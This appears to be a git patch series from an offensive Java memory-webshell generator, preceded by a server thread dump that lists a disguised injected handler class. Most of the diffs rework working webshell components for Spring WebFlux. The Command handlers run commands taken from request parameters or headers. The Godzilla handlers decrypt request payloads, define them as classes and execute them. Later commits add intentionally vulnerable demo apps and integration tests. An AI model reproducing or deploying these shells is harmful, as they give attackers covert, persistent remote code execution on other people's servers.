com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-Poller" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:735) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-8" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Notification Thread" #12 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TongTech-License-Executor" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"DestroyJavaVM" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio-8080-exec-4" #28 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@5a64c566 + java.lang.Thread.State: WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@17.0.17/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:172) + +"TongWeb-utility-1" #22 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"container-0" #24 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Thread.sleep(Native Method) + at com.tongweb.container.core.StandardServer.await(StandardServer.java:548) + at com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1.run(TongWebWebServer.java:147) + + +=========================================== + +StackClassNames: +com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController +com.tongweb.connector.AbstractProcessorLight +com.tongweb.connector.AbstractProtocol$ConnectionHandler +com.tongweb.connector.http11.Http11Processor +com.tongweb.container.authenticator.AuthenticatorBase +com.tongweb.container.connector.CoyoteAdapter +com.tongweb.container.core.ApplicationFilterChain +com.tongweb.container.core.StandardContextValve +com.tongweb.container.core.StandardEngineValve +com.tongweb.container.core.StandardHostValve +com.tongweb.container.core.StandardServer +com.tongweb.container.core.StandardWrapperValve +com.tongweb.container.valves.ErrorReportValve +com.tongweb.springboot.web.embedded.tongweb.TongWebWebServer$1 +com.tongweb.web.util.net.Acceptor +com.tongweb.web.util.net.NioEndpoint +com.tongweb.web.util.net.NioEndpoint$Poller +com.tongweb.web.util.net.NioEndpoint$SocketProcessor +com.tongweb.web.util.net.SocketProcessorBase +com.tongweb.web.util.threads.TaskQueue +com.tongweb.web.util.threads.TaskThread$WrappingRunnable +com.tongweb.web.util.threads.ThreadPoolExecutor +com.tongweb.web.util.threads.ThreadPoolExecutor$Worker +jakarta.servlet.http.HttpServlet +org.springframework.mcnFX.ErrorHladkHandler +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod From 77acbf0bf50d768da239af1a3cb1d017e0e12f01 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 8 Aug 2026 19:07:42 +0800 Subject: [PATCH 03/20] fix: webfilter and handler broken business --- .../command/CommandHandlerFunction.java | 25 +++++---- .../command/CommandHandlerMethod.java | 26 +++++---- .../shelltool/command/CommandWebFilter.java | 24 +++++--- .../godzilla/GodzillaHandlerFunction.java | 53 ++++++++++-------- .../godzilla/GodzillaHandlerMethod.java | 54 ++++++++++-------- .../shelltool/godzilla/GodzillaWebFilter.java | 55 ++++++++++--------- 6 files changed, 133 insertions(+), 104 deletions(-) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java index fc45fac7..b4ebdfdd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java @@ -4,6 +4,7 @@ import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerResponse; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import java.io.InputStream; import java.util.Optional; @@ -26,17 +27,21 @@ public Mono handle(ServerRequest request) { if (p == null || p.isEmpty()) { p = request.headers().firstHeader(paramName); } - String result = ""; - try { - if (p != null) { - String param = getParam(p); - InputStream inputStream = getInputStream(param); - result = new Scanner(inputStream).useDelimiter("\\A").next(); + final String paramValue = p; + Mono resultMono = Mono.fromCallable(() -> { + String result = ""; + try { + if (paramValue != null) { + String param = getParam(paramValue); + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); + } + } catch (Throwable e) { + e.printStackTrace(); } - } catch (Throwable e) { - e.printStackTrace(); - } - return ServerResponse.ok().body(Mono.just(result), String.class); + return result; + }).subscribeOn(Schedulers.boundedElastic()); + return ServerResponse.ok().body(resultMono, String.class); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java index 67bd0a9b..b2331637 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java @@ -2,6 +2,8 @@ import org.springframework.http.ResponseEntity; import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import java.io.InputStream; import java.util.Scanner; @@ -18,17 +20,21 @@ public ResponseEntity invoke(ServerWebExchange exchange) { if (p == null || p.isEmpty()) { p = exchange.getRequest().getHeaders().getFirst(paramName); } - String result = ""; - try { - if (p != null) { - String param = getParam(p); - InputStream inputStream = getInputStream(param); - result = new Scanner(inputStream).useDelimiter("\\A").next(); + final String paramValue = p; + Mono resultMono = Mono.fromCallable(() -> { + String result = ""; + try { + if (paramValue != null) { + String param = getParam(paramValue); + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); + } + } catch (Throwable e) { + e.printStackTrace(); } - } catch (Throwable e) { - e.printStackTrace(); - } - return ResponseEntity.ok(result); + return result; + }).subscribeOn(Schedulers.boundedElastic()); + return ResponseEntity.ok(resultMono); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java index 176c185a..bd0c6146 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebFilter.java @@ -5,6 +5,7 @@ import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import java.io.InputStream; import java.nio.charset.StandardCharsets; @@ -26,15 +27,20 @@ public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { if (p == null) { return chain.filter(exchange); } - String param = getParam(p); - String result = ""; - try { - InputStream inputStream = getInputStream(param); - result = new Scanner(inputStream).useDelimiter("\\A").next(); - } catch (Throwable e) { - e.printStackTrace(); - } - return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8)))); + final String paramValue = p; + return Mono.fromCallable(() -> { + String param = getParam(paramValue); + String result = ""; + try { + InputStream inputStream = getInputStream(param); + result = new Scanner(inputStream).useDelimiter("\\A").next(); + } catch (Throwable e) { + e.printStackTrace(); + } + return result; + }).subscribeOn(Schedulers.boundedElastic()) + .flatMap(result -> exchange.getResponse().writeWith( + Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))))); } private String getParam(String param) { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java index 0bfd80d1..6b26c600 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java @@ -1,9 +1,11 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; +import org.springframework.util.MultiValueMap; import org.springframework.web.reactive.function.server.HandlerFunction; import org.springframework.web.reactive.function.server.ServerRequest; import org.springframework.web.reactive.function.server.ServerResponse; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -35,33 +37,36 @@ public Mono handle(ServerRequest request) { if (value == null || !value.contains(headerValue)) { return Mono.empty(); } - Object bufferStream = request.formData().flatMap(map -> { - StringBuilder result = new StringBuilder(); - try { - byte[] data = base64Decode(map.getFirst(pass)); - data = x(data, false); - if (payload == null) { - payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(request); - f.toString(); - result.append(md5.substring(0, 16)); - result.append(base64Encode(x(arrOut.toByteArray(), true))); - result.append(md5.substring(16)); - } - } catch (Throwable ex) { - ex.printStackTrace(); - result.append(getErrorMessage(ex)); - } - return Mono.just(result.toString()); - }); + Mono bufferStream = request.formData() + .flatMap(map -> Mono.fromCallable(() -> process(map, request)) + .subscribeOn(Schedulers.boundedElastic())); return ServerResponse.ok().body(bufferStream, String.class); } + private String process(MultiValueMap map, ServerRequest request) { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + f.toString(); + result.append(md5.substring(0, 16)); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Throwable ex) { + ex.printStackTrace(); + result.append(getErrorMessage(ex)); + } + return result.toString(); + } @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java index 9d640d8e..98196c7b 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java @@ -1,8 +1,10 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; import org.springframework.http.ResponseEntity; +import org.springframework.util.MultiValueMap; import org.springframework.web.server.ServerWebExchange; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -33,33 +35,37 @@ public ResponseEntity invoke(ServerWebExchange exchange) { if (value == null || !value.contains(headerValue)) { return ResponseEntity.notFound().build(); } - Object bufferStream = exchange.getFormData().flatMap(map -> { - StringBuilder result = new StringBuilder(); - try { - byte[] data = base64Decode(map.getFirst(pass)); - data = x(data, false); - if (payload == null) { - payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.getDeclaredConstructor().newInstance(); - f.equals(arrOut); - f.equals(data); - f.equals(exchange.getRequest()); - f.toString(); - result.append(md5.substring(0, 16)); - result.append(base64Encode(x(arrOut.toByteArray(), true))); - result.append(md5.substring(16)); - } - } catch (Throwable ex) { - ex.printStackTrace(); - result.append(getErrorMessage(ex)); - } - return Mono.just(result.toString()); - }); + Mono bufferStream = exchange.getFormData() + .flatMap(map -> Mono.fromCallable(() -> process(map, exchange)) + .subscribeOn(Schedulers.boundedElastic())); return ResponseEntity.ok(bufferStream); } + private String process(MultiValueMap map, ServerWebExchange exchange) { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.getDeclaredConstructor().newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(exchange.getRequest()); + f.toString(); + result.append(md5.substring(0, 16)); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Throwable ex) { + ex.printStackTrace(); + result.append(getErrorMessage(ex)); + } + return result.toString(); + } + @SuppressWarnings("all") public static String base64Encode(byte[] bs) throws Exception { try { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java index 48827485..e6c139b5 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java @@ -1,12 +1,12 @@ package com.reajason.javaweb.memshell.shelltool.godzilla; -import org.springframework.core.io.buffer.DataBuffer; import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.util.MultiValueMap; import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilterChain; import reactor.core.publisher.Mono; +import reactor.core.scheduler.Schedulers; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; @@ -39,35 +39,36 @@ public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { if (value == null || !value.contains(headerValue)) { return chain.filter(exchange); } - return exchange.getResponse().writeWith(getPost(exchange)); + return exchange.getFormData() + .flatMap(map -> Mono.fromCallable(() -> process(map, exchange)) + .subscribeOn(Schedulers.boundedElastic())) + .flatMap(bytes -> exchange.getResponse().writeWith( + Mono.just(new DefaultDataBufferFactory().wrap(bytes)))); } - private Mono getPost(ServerWebExchange exchange) { - Mono> formData = exchange.getFormData(); - return formData.flatMap(map -> { - StringBuilder result = new StringBuilder(); - try { - byte[] data = base64Decode(map.getFirst(pass)); - data = x(data, false); - if (payload == null) { - payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); - } else { - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = payload.getDeclaredConstructor().newInstance(); - f.equals(arrOut); - f.equals(exchange.getRequest()); - f.equals(data); - f.toString(); - result.append(md5.substring(0, 16)); - result.append(base64Encode(x(arrOut.toByteArray(), true))); - result.append(md5.substring(16)); - } - } catch (Throwable e) { - e.printStackTrace(); - result.append(getErrorMessage(e)); + private byte[] process(MultiValueMap map, ServerWebExchange exchange) { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaWebFilter(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.getDeclaredConstructor().newInstance(); + f.equals(arrOut); + f.equals(exchange.getRequest()); + f.equals(data); + f.toString(); + result.append(md5.substring(0, 16)); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); } - return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); - }); + } catch (Throwable e) { + e.printStackTrace(); + result.append(getErrorMessage(e)); + } + return result.toString().getBytes(StandardCharsets.UTF_8); } @SuppressWarnings("all") From cb9b3ee8f1081eeb365d8adf3a047062449dd150 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 8 Aug 2026 19:08:05 +0800 Subject: [PATCH 04/20] chore: 2.10.0-SNAPSHOT --- build.gradle.kts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/build.gradle.kts b/build.gradle.kts index 9bdc0b37..ab2aeec1 100644 --- a/build.gradle.kts +++ b/build.gradle.kts @@ -9,7 +9,7 @@ idea { } } -version = "2.9.0" +version = "2.10.0-SNAPSHOT" tasks.register("publishAllToMavenCentral") { dependsOn(":memshell-party-common:publishToMavenCentral") From fdbc6f386f4708157398e84af5b4c978060a466e Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 8 Aug 2026 19:08:12 +0800 Subject: [PATCH 05/20] chore: update .gitignore --- .gitignore | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.gitignore b/.gitignore index 753777ed..644c7f1e 100644 --- a/.gitignore +++ b/.gitignore @@ -61,4 +61,6 @@ integration-test/**/apusic integration-test/**/bes integration-test/**/tongweb integration-test/**/inforsuite -integration-test/**/primeton \ No newline at end of file +integration-test/**/primeton +vul/vul-springboot3-bes +vul/vul-springboot3-tongweb \ No newline at end of file From f28290f529e64bcbcb3a17999aff049339dccf3a Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 8 Aug 2026 20:23:52 +0800 Subject: [PATCH 06/20] test: probe jdk version changed --- .../integration/probe/websphere/OpenLiberty25ContainerTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java index 4a66f8ce..523cd749 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java @@ -18,7 +18,7 @@ public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest { private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9") - .expectedJdkVersion("JRE|17.0.19|61") + .expectedJdkVersion("JRE|17.0.20|61") .targetJdkVersion(Opcodes.V1_8) .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .privilegedMode(true) From d240b371242e4497c6afcead50c80b4944d832ba Mon Sep 17 00:00:00 2001 From: ReaJason Date: Fri, 21 Aug 2026 16:05:48 +0800 Subject: [PATCH 07/20] fix: SpringBoot4 WebFlux Base64Utils not found --- .../workflows/memshell-integration-test.yml | 4 +- .github/workflows/probe-integration-test.yml | 4 +- .../SpringWebFluxHandlerFunctionInjector.java | 3 +- .../SpringWebFluxHandlerMethodInjector.java | 3 +- .../SpringWebFluxWebFilterInjector.java | 3 +- .../javaweb/probe/payload/ServerProbe.java | 3 +- .../javaweb/integration/ContainerTool.java | 2 + .../SpringBoot4WebFluxContainerTest.java | 53 +++ .../SpringBoot4ContainerTest.java | 91 ++++ .../SpringBoot4ExpressionContainerTest.java | 71 ++++ .../SpringBoot4WebFluxContainerTest.java | 34 ++ .../SpringBoot4ContainerTest.java | 36 ++ .../SpringBoot4ContainerTestBasicInfo.txt | 402 ++++++++++++++++++ ...ringBoot4WebFluxContainerTestBasicInfo.txt | 279 ++++++++++++ settings.gradle.kts | 2 + vul/vul-springboot4-webflux/Dockerfile | 8 + vul/vul-springboot4-webflux/build.gradle.kts | 15 + .../javaweb/vul/springboot4/ClassDefiner.java | 14 + .../VulSpringboot4Application.java | 13 + .../Base64ClassLoaderController.java | 35 ++ .../controller/IndexController.java | 123 ++++++ .../src/main/resources/application.properties | 1 + vul/vul-springboot4/Dockerfile | 8 + vul/vul-springboot4/build.gradle.kts | 28 ++ .../javaweb/vul/springboot4/ClassDefiner.java | 10 + .../VulSpringboot4Application.java | 12 + .../Base64ClassLoaderController.java | 24 ++ .../BigIntegerClassLoaderController.java | 24 ++ .../controller/IndexController.java | 123 ++++++ .../controller/JDBCController.java | 31 ++ .../controller/JXPathController.java | 20 + .../controller/OgnlController.java | 25 ++ .../controller/SpELController.java | 25 ++ .../src/main/resources/application.properties | 1 + .../src/test/java/CommandExec.java | 15 + .../src/test/java/JDBCTest.java | 54 +++ 36 files changed, 1589 insertions(+), 10 deletions(-) create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebflux/SpringBoot4WebFluxContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/springwebmvc/SpringBoot4ExpressionContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebflux/SpringBoot4WebFluxContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/springwebmvc/SpringBoot4ContainerTest.java create mode 100644 integration-test/src/test/resources/infos/SpringBoot4ContainerTestBasicInfo.txt create mode 100644 integration-test/src/test/resources/infos/SpringBoot4WebFluxContainerTestBasicInfo.txt create mode 100644 vul/vul-springboot4-webflux/Dockerfile create mode 100644 vul/vul-springboot4-webflux/build.gradle.kts create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot4-webflux/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java create mode 100644 vul/vul-springboot4-webflux/src/main/resources/application.properties create mode 100644 vul/vul-springboot4/Dockerfile create mode 100644 vul/vul-springboot4/build.gradle.kts create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/ClassDefiner.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/VulSpringboot4Application.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/Base64ClassLoaderController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/BigIntegerClassLoaderController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/IndexController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JDBCController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/JXPathController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/OgnlController.java create mode 100644 vul/vul-springboot4/src/main/java/com/reajason/javaweb/vul/springboot4/controller/SpELController.java create mode 100644 vul/vul-springboot4/src/main/resources/application.properties create mode 100644 vul/vul-springboot4/src/test/java/CommandExec.java create mode 100644 vul/vul-springboot4/src/test/java/JDBCTest.java diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index 5f63ecdb..13e38330 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -44,9 +44,9 @@ jobs: - middleware: "weblogic" depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war" - middleware: "springwebmvc" - depend_tasks: 